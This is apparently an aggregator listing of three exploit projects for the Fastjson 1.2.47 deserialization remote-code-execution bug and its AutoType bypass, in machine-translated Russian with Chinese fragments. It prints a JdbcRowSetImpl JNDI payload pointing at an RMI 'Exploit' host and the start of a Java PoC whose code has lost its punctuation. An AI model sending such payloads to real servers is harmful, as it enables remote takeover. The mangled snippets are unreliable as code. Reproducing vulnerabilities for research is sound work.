Fastjson-1.2.47-rce

Fastjson-1.2.47-rce version1.2.51 удаленное выполнение команд 1.2.24 "b":"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://localhost:1099/Exploit", "autoCommit":true ​ Неизвестная версия между 1.2.24 и 1.2.41...

FastJsonAutoTypeBypass

Что это Этот проект используется для изучения способов обхода проверки AutoType в fastJSON. Информация о гаджетах Mapping только для fastjson 1.2.47: root@kitploit: package com.FastJson1242; import com.alibaba.fastjson.JSONObject; public class Poc public static void mainString argv String payload...

fastjson-RCE

Воспроизведение уязвимости fastjson-v1.2.47-RCE fastjson-1.2.47 == Загрузка ресурсов: root@kitploit: 下载 http://repo1.maven.org/maven2/com/alibaba/fastjson/1.2.47/ 文档 https://github.com/alibaba/fastjson/wiki/%E5%B8%B8%E8%A7%81%E9%97%AE%E9%A2%98 源码...